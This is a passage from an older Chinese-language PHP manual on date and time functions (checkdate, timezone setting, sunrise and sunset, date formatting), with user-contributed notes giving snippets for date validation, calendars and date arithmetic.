function dayDiff($timestamp1,$timestamp2) {
   $dayInYear1 = getDayOfYear($timestamp1);
   $dayInYear2 = getDayOfYear($timestamp2);
   return ((getYear($dayInYear1)*365 + $dayInYear1) -
             (getYear($dayInYear2)*365 + $dayInYear2));
}

hope they are usefull to you.

- Vincent
th at definitynet dot com
12-Jan-2001 03:00
I had some problems with dates between mySQL and PHP.  PHP had all these great date functions but I wanted to store a usable value in my database tables. In this case I was using TIMESTAMP(14)  <or 'YYYYMMDDHHMMSS'>.
This is perhaps the easiest way I have found to pull the PHP usable UNIX Datestamp from my mySQL datestamp stored in the tables:

Use the mySQL UNIX_TIMESTAMP() function in your SQL definition string. i.e.

$sql= "SELECT field1, field2, UNIX_TIMESTAMP(field3) as your_date
         FROM your_table
         WHERE field1 = '$value'";

The query will return a temp table with coulms "field1" "Field2" "your_date"

The "your_date" will be formatted in a UNIX TIMESTAMP!  Now you can use the PHP date() function to spew out nice date formats.

Sample using above $sql:
20010111002747  = Date Stored on mySQL table (TIMESTAMP(14))
979172867  = value returned as your_date in sql stmt (UNIX_TIMESTAMP)

if we use $newdate = date("F jS, Y -- g:ia", $row["your_date"]);
   --(after fetching our array from the sql results of course)--

echo "$newdate";              --Will produce:
January 11th, 2001 -- 12:27am

Hope this helps someone out there!
joey dot garcia at usa dot net
14-Nov-2000 04:13
I was trying to make a Month-At-A-Glance and I finally got it to work so I thought I'd share it too.  What you need to get this to work is the "Day Of The Week Number", i.e., Sunday=1 and the "Number Of Days in the Month".  I also used Allan Kent's Date/Time Column at PHPBuilder to get the required information.  I also added the process I used to the requried information.

Enjoy!

<html>
<head>
   <title>Month-At-A-Glance</title>
</head>
<body>
<?php
// *** These are here if you need to calculate the required values ***
// *** Reference Allan Kent's Column on Dates at PHPBuilder.com
//$thismonth =  mktime($hours, $minutes,$seconds ,$month, $day,$year);
//$firstday =  mktime($hours, $minutes,$seconds ,$month, 1,$year);
//$dayofweek=date("D",$thismonth);
//$firstdayofmonth=date("D",$firstday);
//$weekdaynum=array("Sun"=>1, "Mon"=>2, "Tue"=>3, "Wed"=>4, "Thu"=>5, "Fri"=>6, "Sat"=>7);
//$dayNumber=$weekdaynum[$dayofweek];

print "<table width=80% align=center border=1>\n";
print"<tr><th>Sun(1)</th> <th>Mon(2)</th> <th>Tue(3)</th> <th>Wed(4)</th> <th>Thu(5)</th> <th>Fri(6)</th> <th>Sat(7)</th> </tr>";
$daysinmonth=31;//For July 2000 this is 31 days
$daycount=1;
$firstdayofmonth=7;//For July 2000 this is Sat, or day 7
for ($week=1; $week <= 6; $week++){
print"<tr>\n";
   for($day=1; $day <=7; $day++){
       if( ($day >= $firstdayofmonth) || ($week >1) ){
           print"<td height=40px>";
               if ($daycount <= $daysinmonth){
                   print $daycount;
                   $daycount++;
               }
           print"&nbsp;</td>\n";
       }
       else{
           print"<td height=40px> &nbsp; </td>\n";
       }
   }
print"\n</tr>\n";
}
print"</table>";
?>
</body>
</html>
teddk at box100 dot com
08-Sep-2000 06:02
There is an an excellent article by Allan Kent on PHP date/time. The full article can be found at:
http://www.phpbuilder.net/columns/akent20000610.php3
add a note add a note

后退 | 起点 | 前进
dba_sync | 上一级 | checkdate


checkdate

(PHP 3, PHP 4, PHP 5)

checkdate -- 验证一个格里高里日期

说明

bool checkdate ( int month, int day, int year )

如果给出的日期有效则返回 TRUE，否则返回 FALSE。检查由参数构成的日期的合法性。日期在以下情况下被认为有效：

  • year 的值是从 1 到 32767

  • month 的值是从 1 到 12

  • Day 的值在给定的 month 所应该具有的天数范围之内，闰年已经考虑进去了。

例子 1. checkdate() 例子

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

上例将输出：

bool(true)
bool(false)

参见 mktime() 和 strtotime()。

add a note add a note User Contributed Notes
moklet
20-Mar-2006 09:34
ANd now it accepts date formats like yyyy/mm/dd as well

<?php

/**
* Checks for a valid date
*
* @param string  Date in the format given by the format parameter.
* @param integer Disallow years more than $yearepsilon from now (in future as well as in past)
* @param string  Formatting string. Has to be one of 'dmy', 'dym', 'mdy', 'myd', 'ydm' or 'ymd'. (Default is 'ymd' for ISO 8601 compability)
* @return array [ year, month, day ]
* @since 1.0
*/

function datecheck($date, $yearepsilon=5000, $format='ymd') {
  $date=str_replace("/", "-", $date);
  $format = strtolower($format);
  if (count($datebits=explode('-',$date))!=3) return false;
  $year = intval($datebits[strpos($format, 'y')]);
  $month = intval($datebits[strpos($format, 'm')]);
  $day = intval($datebits[strpos($format, 'd')]);

  if ((abs($year-date('Y'))>$yearepsilon) || // year outside given range
     ($month<1) || ($month>12) || ($day<1) ||
     (($month==2) && ($day>28+(!($year%4))-(!($year%100))+(!($year%400)))) ||
     ($day>30+(($month>7)^($month&1)))) return false; // date out of range

  return array(
   'year' => $year,
   'month' => $month,
   'day' => $day
  );
}

?>
</Life>.org
05-Mar-2006 05:07
Taking the comments of Hightechguy into account, here is a version with variable date formatting:

<?php

/**
* Checks for a valid date
*
* @param string  Date in the format given by the format parameter.
* @param integer Disallow years more than $yearepsilon from now (in future as well as in past)
* @param string  Formatting string. Has to be one of 'dmy', 'dym', 'mdy', 'myd', 'ydm' or 'ymd'. (Default is 'ymd' for ISO 8601 compability)
* @return array [ year, month, day ]
* @since 1.0
*/

function datecheck($date, $yearepsilon=5000, $format='ymd') {
  $format = strtolower($format);
  if (count($datebits=explode('-',$date))!=3) return false;
  $year = intval($datebits[strpos($format, 'y')]);
  $month = intval($datebits[strpos($format, 'm')]);
  $day = intval($datebits[strpos($format, 'd')]);

  if ((abs($year-date('Y'))>$yearepsilon) || // year outside given range
     ($month<1) || ($month>12) || ($day<1) ||
     (($month==2) && ($day>28+(!($year%4))-(!($year%100))+(!($year%400)))) ||
     ($day>30+(($month>7)^($month&1)))) return false; // date out of range

  return array(
   'year' => $year,
   'month' => $month,
   'day' => $day
  );
}

?>
Hightechguy
01-Feb-2006 06:17
As an addition to the function contributed by </Life>.org:
You may want to use different date format "YYYY-MM-DD" like "2006-02-01", because
a) it's default for mySQL and
b) relatively easily retrieved from MSSQL if you use CONVERT function with style=ODBC canonical, which gives yyyy-mm-dd hh:mi:ss(24h) style

Finally function looks like:
<?php

   function dateCheck($date, $yearepsilon=5000) { // inputs format is "YYYY-MM-DD" ONLY !
       if (count($datebits=explode('-',$date))!=3) return false;
       $year = intval($datebits[0]);
       $month = intval($datebits[1]);
       $day = intval($datebits[2]);

       if ((abs($year-date('Y'))>$yearepsilon) || // year outside given range
       ($month<1) || ($month>12) || ($day<1) ||
       (($month==2) && ($day>28+(!($year%4))-(!($year%100))+(!($year%400)))) ||
       ($day>30+(($month>7)^($month&1)))) return false; // date out of range

       return checkdate($month,$day,$year );
   }
?>
</Life>.org
21-Aug-2005 12:35
The function of phil@philmo contains a few errors...
I corrected them as far as I found them and tried to improve the code.

<?php

/**
* Checks for a valid date
*
* @param string  Date in the format "MM-DD-YYYY"
* @param integer Disallow years more than $yearepsilon from now (in future as well as in past)
* @return array [ month, day, year ]
* @since 1.0
*/

/* fixed:
** - leap years
** - december now is allowed
** - removed unnecessary checking
** if you find any more mistakes, please correct them. :)
*/

function datecheck($date, $yearepsilon=5000) {
  if (count($datebits=explode('-',$date))!=3) return false;
  $month = intval($datebits[0]);
  $day = intval($datebits[1]);
  $year = intval($datebits[2]);

  if ((abs($year-date('Y'))>$yearepsilon) || // year outside given range
     ($month<1) || ($month>12) || ($day<1) ||
     (($month==2) && ($day>28+(!($year%4))-(!($year%100))+(!($year%400)))) ||
     ($day>30+(($month>7)^($month&1)))) return false; // date out of range

  return array(
   'year' => $year,
   'month' => $month,
   'day' => $day
  );
}

?>
Matt Browne
22-Jul-2005 01:58
Here's a date validation snippet I wrote, since I wasn't able to find one that was flexible enough. It accepts dates in m-d-y format (2- or 4-digit year) and both dashes and slashes as separators.

$strDate = $yourDate;
$isValid = false;

if (ereg('^([0-9]{1,2})[-,/]([0-9]{1,2})[-,/](([0-9]{2})|([0-9]{4}))$', $strDate)) {
   $dateArr = split('[-,/]', $param->value);
   $m=$dateArr[0]; $d=$dateArr[1]; $y=$dateArr[2];
   $isValid = checkdate($m, $d, $y);
}

if (!$isValid) {
   // take appropriate action
}

// then, to obtain the timestamp
$date = mktime(null,null,null,$m,$d,$y);
Zoe Blade
20-Jul-2005 09:31
If you need to check a MySQL format date, here's a function to do it:

/*
 * Check a MySQL (ISO 8601 based) format date
 *
 * The first part splits the date up into its component parts, checking that
 * they appear to be roughly OK. The regex specifically looks for:
 * four digits between 1000 and 9999, -, two digits between 01 and 12, -,
 * two digits between 01 and 31).
 *
 * The second part makes sure that the date is definitely valid (taking into
 * account leap years).
 *
 * See http://dev.mysql.com/doc/mysql/en/datetime.html for details on the MySQL
 * date format.
 */

function checkmysqldate($isodate)
{
  if (preg_match("/^([123456789][[:digit:]]{3})-(0[1-9]|1[012])-
(0[1-9]|[12][[:digit:]]|3[01])$/", $isodate, $date_part) && checkdate($date_part[2], $date_part[3], $date_part[1]))
  {
   return true;
  }
  else
  {
   return false;
  }
}

(The form made me insert a character return between the hyphen and open bracket in the regex line due to wrapping. Just join those two lines together to get the code to work!)
martin a pavel
19-Jul-2005 05:14
<?php

/**
 * Number of days in selected Month of selected Year
 * @return int
 */
function DaysInMonth ( $Year, $MonthInYear )
{
   if ( in_array ( $MonthInYear, array ( 1, 3, 5, 7, 8, 10, 12 ) ) )
       return 31;

   if ( in_array ( $MonthInYear, array ( 4, 6, 9, 11 ) ) )
       return 30;

   if ( $MonthInYear == 2 )
       return ( checkdate ( 2, 29, $Year ) ) ? 29 : 28;

   return false;
}

?>
cristianDOTzuddas [SPAM] gmail DOT com
09-Jul-2005 05:38
This function returns TRUE if the passed string contains a valid MySQL date.

The allowed format is YYYY-MM-DD and the supported range is from '1000-01-01' to '9999-12-31' (MySQL limitations).

Here is the code:
http://www.codeflower.com/index.php?a=showCode&id=36

Ex.:
is_valid_mysql_date('2005-05-21');  <--  TRUE
is_valid_mysql_date('2005-5-30');  <--  FALSE
add a note add a note

后退 | 起点 | 前进
Date/Time 日期／时间函数 | 上一级 | date_default_timezone_get


date_default_timezone_get

(PHP 5 >= 5.1.0RC1)

date_default_timezone_get -- 取得一个脚本中所有日期时间函数所使用的默认时区

说明

string date_default_timezone_get ( void )

本函数返回默认时区，使用如下“假定”的顺序：

  • 用 date_default_timezone_set() 函数设定的时区（如果设定了的话）

  • TZ 环境变量（如果非空）

  • date.timezone 配置选项（如果设定了的话）

  • 自己推测（如果操作系统支持）

  • 如果以上选择都不成功，则返回 UTC

返回值

返回一个 string。

参见

date_default_timezone_set()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
checkdate | 上一级 | date_default_timezone_set


date_default_timezone_set

(PHP 5 >= 5.1.0RC1)

date_default_timezone_set -- 设定用于一个脚本中所有日期时间函数的默认时区

说明

bool date_default_timezone_set ( string timezone_identifier )

date_default_timezone_set() 设定用于所有日期时间函数的默认时区。

注: 自 PHP 5.1.0 起（此版本日期时间函数被重写了），如果时区不合法则每个对日期时间函数的调用都会产生一条 E_NOTICE 级别的错误信息。

参数

timezone_identifier

时区标识符，例如 UTC 或 Europe/Lisbon

返回值

本函数永远返回 TRUE（即使 timezone_identifier 参数不合法）。

参见

date_default_timezone_get()

add a note add a note User Contributed Notes
mira at st dot jyu dot fi
29-Mar-2006 08:37
The Etc/GMT+2, Etc/GMT-5 etc. timezones are incorrectly labeled on systems that use GNU glibc. All the timezone labels starting with "Etc/" have plus and minus characters reversed. That is, if you want time for GMT+4 you have to set the timezone to "Etc/GMT-4". This is because (old) POSIX standard has them this way! The official party line seems to be DO NOT USE Etc/* TIMEZONES. It's not a bug, it's a compability feature!
mikx at mikx dot de
09-Dec-2005 02:29
Be aware that Etc/GMT times are implemented the other way around. So Europe/Berlin is NOT equal Etc/GMT+1 (as you might expect) but is equal Etc/GMT-1.

According to http://bugs.php.net/34710 this is expected behavior.
add a note add a note

后退 | 起点 | 前进
date_default_timezone_get | 上一级 | date_sunrise


date_sunrise

(PHP 5)

date_sunrise -- 返回给定的日期与地点的日出时间

说明

mixed date_sunrise ( int timestamp [, int format [, float latitude [, float longitude [, float zenith [, float gmt_offset]]]]] )

date_sunrise() 返回给定的日期（以 timestamp 指定）与地点的日出时间。latitude，longitude 和 zenith 参数默认值分别为配置选项中的 date.default_latitude，date.default_longitude 和 date.sunrise_zenith。

latitude 默认是指北纬。因此如果要指定南纬，必须传递一个负值。同样规则也适用于 longitude，其默认是指东经。

gmt_offset 参数的单位是小时。

表格 1. format 常量

常量 | 说明 | 取值举例
SUNFUNCS_RET_STRING | 以 string 格式返回结果 | 16:46
SUNFUNCS_RET_DOUBLE | 以 float 格式返回结果 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 以 integer 格式（时间戳）返回结果 | 1095034606

例子 1. date_sunrise() 例子

<?php

/* 计算葡萄牙里斯本的日出时间
Latitude:  北纬 38.4 度
Longitude: 西经 9 度
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunrise time : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

上例的输出类似于：

Mon Dec 20 2004, sunrise time : 08:54

参见 date_sunset()。

add a note add a note User Contributed Notes
php at stock-consulting dot com
27-Mar-2005 08:22
The function of jbr (AT) ya-right.com will run into an infinite loop for dates/locations without, for example, astronomical twilight (it never gets dark enough for astronomical twilight during June in Cologne, for exmple). Below a quick fix:
<?
function sun_times($time, $lat, $lon, $offset, $format, $dst) {
   $offset += $dst;
   $offset = $offset == 13 ? -11 : $offset;
   $math = array(1.5708, 4.71239, 3.14159, 6.28319, (0.0174533 * $lat), (0.0174533 * $lon), (0.261799  * $offset));
   $data = array('astronomical' => -.309017, 'nautical' => -.207912, 'civil' => -.104528, 'sun' => -.0145439);
   $sd = explode(' ', date('n j Y z', $time));
   $times = array();

   foreach ($data as $a => $b)    {
       for ($x = 0; $x <= 1; $x++) {
           $e = $sd[3] + (($math[$x] - $math[5]) / $math[3]);
           $f = ($e * .017202) - .0574039;
           $g = $f + .0334405 * sin($f);
           $g +=  4.93289 + (3.49066E-04) * sin(2 * $f);
           while ($g < 0) {
               $g += $math[3];
           }
           while ($g >= $math[3]) {
               $g -= $math[3];
           }
           $g += ($g / $math[0]) - intval($g / $math[0]) == 0 ? 4.84814E-06 : 0;
           $h = sin($g) / cos($g);
           $h = atan2(.91746 * $h, 1);
           $h += $g > $math[1] ? $math[3] : ($g > $math[0] ? $math[2] : 0);
           $i = .39782 * sin($g);
           $i = $i / sqrt (-$i * $i + 1);
           $i = atan2($i, 1);
           $j = $b - (sin($i) * sin($math[4]));
           $j = $j / (cos($i) * cos($math[4]));
           $j = $j / sqrt(-$j * $j + 1);
           $j = $math[0] - atan2($j, 1);
           if (!$x) {
               $j = $math[3] - $j;
           }
           $k = $j + $h - 0.0172028 * $e - 1.73364;
           $l = $k - $math[5];
           $n = $l + $math[6];
// Changes begin here
           $key = ($a != 'sun' ? ($x ? 'end' : 'start') : ($x ? $a . 'set' : $a . 'rise'));
           if (is_nan($n)) {
               $times[$a][$key] = '-';
           } else {
               while ($n < 0) {
                   $n += $math[3];
               }
               while ($n >= $math[3]) {
                   $n -= $math[3];
               }
               $n = $n * 3.81972;
               $hour = intval($n);
               $mins = intval((($n - $hour) * 60) + 0.5);
               $times[$a][$key] = date($format, mktime($hour, $mins, 0, $sd[0], $sd[1], $sd[2]));
           }
// Changes end here
       }
   }
   return($times);
}
?>
djwice at [the same] dot com
02-Dec-2004 05:41
The way to use this:

<?php

// De Bilt, The Netherlands, weather station #06260
$lat = 52.10;    // North
$long = 5.18;    // East
$offset = 1;    // difference between GMT and local time in hours

$zenith=90+50/60;
echo "<br><p>Sunrise: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Sunset: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=96;
echo "<br><p>Civilian Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Civilian Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=102;
echo "<br><p>Nautical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Nautical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=108;
echo "<br><p>Astronomical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Astronomical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

?>

Zenith according to the U.S. Navy's 1990 Almanac for Computers.

Thanks to George King.
More sources about this topic:

http://www.qarlos.free.fr/navegacion/Sextante/formulas.htm
http://williams.best.vwh.net/sunrise_sunset_algorithm.htm
http://www.kevinboone.com/suntimes.html
http://star-www.st-and.ac.uk/~fv/webnotes/chapt12.htm
add a note add a note

后退 | 起点 | 前进
date_default_timezone_set | 上一级 | date_sunset


date_sunset

(PHP 5)

date_sunset -- 返回给定的日期与地点的日落时间

说明

mixed date_sunset ( int timestamp [, int format [, float latitude [, float longitude [, float zenith [, float gmt_offset]]]]] )

date_sunset() 返回给定的日期（以 timestamp 指定）与地点的日落时间。latitude，longitude 和 zenith 参数默认值分别为配置选项中的 date.default_latitude，date.default_longitude 和 date.sunrise_zenith。

latitude 默认是指北纬。因此如果要指定南纬，必须传递一个负值。同样规则也适用于 longitude，其默认是指东经。

gmt_offset 参数的单位是小时。

表格 1. format 常量

常量 | 说明 | 取值举例
SUNFUNCS_RET_STRING | 以 string 格式返回结果 | 16:46
SUNFUNCS_RET_DOUBLE | 以 float 格式返回结果 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 以 integer 格式（时间戳）返回结果 | 1095034606

例子 1. date_sunset() 例子

<?php

/* 计算葡萄牙里斯本的日落时间
Latitude:  北纬 38.4 度
Longitude: 西经 9 度
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunset time : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

上例的输出类似于：

Mon Dec 20 2004, sunset time : 18:13

参见 date_sunrise()。

add a note add a note User Contributed Notes
jbr (AT) ya-right.com
20-Feb-2005 02:19
Here a function that will return an array of all valid formats, both starting and ending times!
[Editor's note: you can find that function on the docpage of date_sunrise()]
djwice at [the same] dot com
02-Dec-2004 05:39
A way to use this:

<?php

// De Bilt, The Netherlands, weather station #06260
$lat = 52.10;    // North
$long = 5.18;    // East
$offset = 1;    // difference between GMT and local time in hours

$zenith=90+50/60;
echo "<br><p>Sunrise: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Sunset: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=96;
echo "<br><p>\"Civilian Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Civilian Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=102;
echo "<br><p>\"Nautical Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Nautical Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=108;
echo "<br><p>\"Astronomical Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Astronomical Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

?>

Thanks to George King.
More sources about this topic:

http://www.qarlos.free.fr/navegacion/Sextante/formulas.htm
http://williams.best.vwh.net/sunrise_sunset_algorithm.htm
http://www.kevinboone.com/suntimes.html
http://star-www.st-and.ac.uk/~fv/webnotes/chapt12.htm
add a note add a note

后退 | 起点 | 前进
date_sunrise | 上一级 | date


date

(PHP 3, PHP 4, PHP 5)

date -- 格式化一个本地时间／日期

说明

string date ( string format [, int timestamp] )

返回将整数 timestamp 按照给定的格式字串而产生的字符串。如果没有给出时间戳则使用本地当前时间。换句话说，timestamp 是可选的，默认值为 time()。

提示: 自 PHP 5.1.0 起有几个有用的常量可用作标准的日期／时间格式来指定 format 参数。

注: 有效的时间戳典型范围是格林威治时间 1901 年 12 月 13 日 20:45:54 到 2038 年 1 月 19 日 03:14:07。（此范围符合 32 位有符号整数的最小值和最大值）。不过在 PHP 5.1 之前此范围在某些系统（如 Windows）中限制为从 1970 年 1 月 1 日到 2038 年 1 月 19 日。

注: 要将字符串表达的时间转换成时间戳，应该使用 strtotime()。此外一些数据库有一些函数将其时间格式转换成时间戳（例如 MySQL 的 UNIX_TIMESTAMP 函数）。

表格 1. 格式字串可以识别以下 format 参数的字符串

format 字符 | 说明 | 返回值例子
日 | --- | ---
d | 月份中的第几天，有前导零的 2 位数字 | 01 到 31
D | 星期中的第几天，文本表示，3 个字母 | Mon 到 Sun
j | 月份中的第几天，没有前导零 | 1 到 31
l（“L”的小写字母） | 星期几，完整的文本格式 | Sunday 到 Saturday
N | ISO-8601 格式数字表示的星期中的第几天（PHP 5.1.0 新加） | 1（表示星期一）到 7（表示星期天）
S | 每月天数后面的英文后缀，2 个字符 | st，nd，rd 或者 th。可以和 j 一起用
w | 星期中的第几天，数字表示 | 0（表示星期天）到 6（表示星期六）
z | 年份中的第几天 | 0 到 366
星期 | --- | ---
W | ISO-8601 格式年份中的第几周，每周从星期一开始（PHP 4.1.0 新加的） | 例如：42（当年的第 42 周）
月 | --- | ---
F | 月份，完整的文本格式，例如 January 或者 March | January 到 December
m | 数字表示的月份，有前导零 | 01 到 12
M | 三个字母缩写表示的月份 | Jan 到 Dec
n | 数字表示的月份，没有前导零 | 1 到 12
t | 给定月份所应有的天数 | 28 到 31
年 | --- | ---
L | 是否为闰年 | 如果是闰年为 1，否则为 0
o | ISO-8601 格式年份数字。这和 Y 的值相同，只除了如果 ISO 的星期数（W）属于前一年或下一年，则用那一年。（PHP 5.1.0 新加） | Examples: 1999 or 2003
Y | 4 位数字完整表示的年份 | 例如：1999 或 2003
y | 2 位数字表示的年份 | 例如：99 或 03
时间 | --- | ---
a | 小写的上午和下午值 | am 或 pm
A | 大写的上午和下午值 | AM 或 PM
B | Swatch Internet 标准时 | 000 到 999
g | 小时，12 小时格式，没有前导零 | 1 到 12
G | 小时，24 小时格式，没有前导零 | 0 到 23
h | 小时，12 小时格式，有前导零 | 01 到 12
H | 小时，24 小时格式，有前导零 | 00 到 23
i | 有前导零的分钟数 | 00 到 59>
s | 秒数，有前导零 | 00 到 59>
时区 | --- | ---
e | 时区标识（PHP 5.1.0 新加） | 例如：UTC，GMT，Atlantic/Azores
I | 是否为夏令时 | 如果是夏令时为 1，否则为 0
O | 与格林威治时间相差的小时数 | 例如：+0200
T | 本机所在的时区 | 例如：EST，MDT（【译者注】在 Windows 下为完整文本格式，例如“Eastern Standard Time”，中文版会显示“中国标准时间”）。
Z | 时差偏移量的秒数。UTC 西边的时区偏移量总是负的，UTC 东边的时区偏移量总是正的。 | -43200 到 43200
完整的日期／时间 | --- | ---
c | ISO 8601 格式的日期（PHP 5 新加） | 2004-02-12T15:19:21+00:00
r | RFC 822 格式的日期 | 例如：Thu, 21 Dec 2000 16:01:07 +0200
U | 从 Unix 纪元（January 1 1970 00:00:00 GMT）开始至今的秒数 | 参见 time()

格式字串中不能被识别的字符将原样显示。Z 格式在使用 gmdate() 时总是返回 0。

例子 1. date() 例子

<?php
// 设定要用的默认时区。自 PHP 5.1 可用
date_default_timezone_set('UTC');

// 输出类似：Monday
echo date("l");

// 输出类似：Monday 15th of August 2005 03:12:46 PM
echo date('l dS \of F Y h:i:s A');

// 输出：July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* 在格式参数中使用常量 */
// 输出类似：Mon, 15 Aug 2005 15:12:46 UTC
echo date(DATE_RFC822);

// 输出类似：2000-07-01T00:00:00+0000
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

在格式字串中的字符前加上反斜线来转义可以避免它被按照上表解释。如果加上反斜线后的字符本身就是一个特殊序列，那还要转义反斜线。

例子 2. 在 date() 中转义字符

<?php
// prints something like: Wednesday the 15th
echo date("l \\t\h\e jS");
?>

可以把 date() 和 mktime() 结合使用来得到未来或过去的日期。

例子 3. date() 和 mktime() 例子

<?php
$tomorrow  = mktime(0, 0, 0, date("m")  , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"),   date("Y"));
$nextyear  = mktime(0, 0, 0, date("m"),   date("d"),   date("Y")+1);
?>

注: 由于夏令时的缘故，这种方法比简单地在时间戳上加减一天或者一个月的秒数更可靠。

一些使用 date() 格式化日期的例子。注意要转义所有其它的字符，因为目前有特殊含义的字符会产生不需要的结果，而其余字符在 PHP 将来的版本中可能会被用上。当转义时，注意用单引号以避免类似 \n 的字符变成了换行符。

例子 4. date() 格式举例

<?php
// 假定今天是：March 10th, 2001, 5:16:18 pm
$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
$today = date("m.d.y");                         // 03.10.01
$today = date("j, n, Y");                       // 10, 3, 2001
$today = date("Ymd");                           // 20010310
$today = date('h-i-s, j-m-y, it is w Day z ');  // 05-16-17, 10-03-01, 1631 1618 6 Fripm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // It is the 10th day.
$today = date("D M j G:i:s T Y");               // Sat Mar 10 15:16:08 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:17 m is month
$today = date("H:i:s");                         // 17:16:17
?>

要格式化其它语种的日期，应该用 setlocale() 和 strftime() 函数。

参见 getlastmod()，gmdate()，mktime()，strftime() 和 time()。

add a note add a note User Contributed Notes
tam at zenology dot co dot uk
18-May-2006 09:02
/* Here's a simple function which takes a UNIX timestamp and returns a fuzzy date string such as 'Yesterday 10:24', 'Wednesday 23:11', 'April 12' or 'June 2003'. It's only set up to handle dates in the past but it's easy to see how to extend it to do future dates too. */

function fuzzyDate($timestamp)
{
  if($timestamp > time())
     //we don't handle future dates
     return date('Y-m-d H:i', $timestamp);
  elseif($timestamp > mktime(0,0,0))
     //since midnight so it's today
     return 'Today '.date('H:i', $timestamp);
  elseif($timestamp > mktime(0,0,0) - 86400)
     //since midnight 1 day ago so it's yesterday
     return 'Yesterday '.date('H:i', $timestamp);
  elseif($timestamp > mktime(0,0,0) - 86400*7)
     //since midnight 7 days ago so it's this week
     return date('l H:i', $timestamp);
  elseif($timestamp > mktime(0,0,0,1,1))
     //since 1st Jan so it's this year
     return date('F j', $timestamp);
  else
     //ages ago!
     return date('F Y', $timestamp);
}
Elena S.
06-May-2006 05:36
If you do not PHP5 yet but want a week day to be in ISO format: 1 (for Monday) through 7 (for Sunday), you can use this:
<?

//GET WEEK DAY 0 FOR SUNDAY, 6 FOR SATURDAY
$x = date( "w" );

$corrected_week_day = 7 - ( (7-$x) % (7+$x) );

?>
mel dot boyce at gmail dot com
06-Apr-2006 07:46
I've been flicking through the comments looking for some succinct date code and have noticed an alarming number of questions and over-burdened examples related to date mathematics. One of the most useful skills you can utilize when performing date math is taking full advantage of the UNIX timestamp. The UNIX timestamp was built for this kind of work.

An example of this relates to a comment made by james at bandit-dot-co-dot-en-zed. James was looking for a way to calculate the number of days which have passed since a certain date. Rather than using mktime() and a loop, James can subtract the current timestamp from the timestamp of the date in question and divide that by the number of seconds in a day:
<?php
$days = floor((time() - strtotime("01-Jan-2006"))/86400);
print("$days days have passed.\n");
?>

Another usage could find itself in a class submitted by Kyle M Hall which aids in the creation of timestamps from the recent past for use with MySQL. Rather than the looping and fine tuning of a date, Kyle can use the raw UNIX timestamps (this is untested code):
<?php
$ago = 14; // days
$timestamp = time() - ($ago * 86400);
?>

Hopefully these two examples of "UNIX-style" timestamp usage will help those finding date mathematics more elusive than it should be.
SpikeDaCruz
10-Mar-2006 03:12
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?
function getOrthodoxEaster($date){
  /*
   Takes any Gregorian date and returns the Gregorian
   date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>
rob at robmacdonald dot com
05-Feb-2006 06:24
This function takes a YEARWEEK value (most commonly returned from mysql) and examines it to get the start date and end date for the given YEARWEEK. May be of use to someone...

function findWeekPeriod($yearweek){
   $aPeriod = array();
   $year = substr($yearweek,0,4);
   $week = substr($yearweek,4,2);

   $startDay = Mon;
   $endDay = Sun;

   $startdate =  strtotime('+' . $week . ' week',mktime(0,0,0,1,1,$year));

   $enddate = $startdate;
   while(date("D",$startdate) != $startDay){
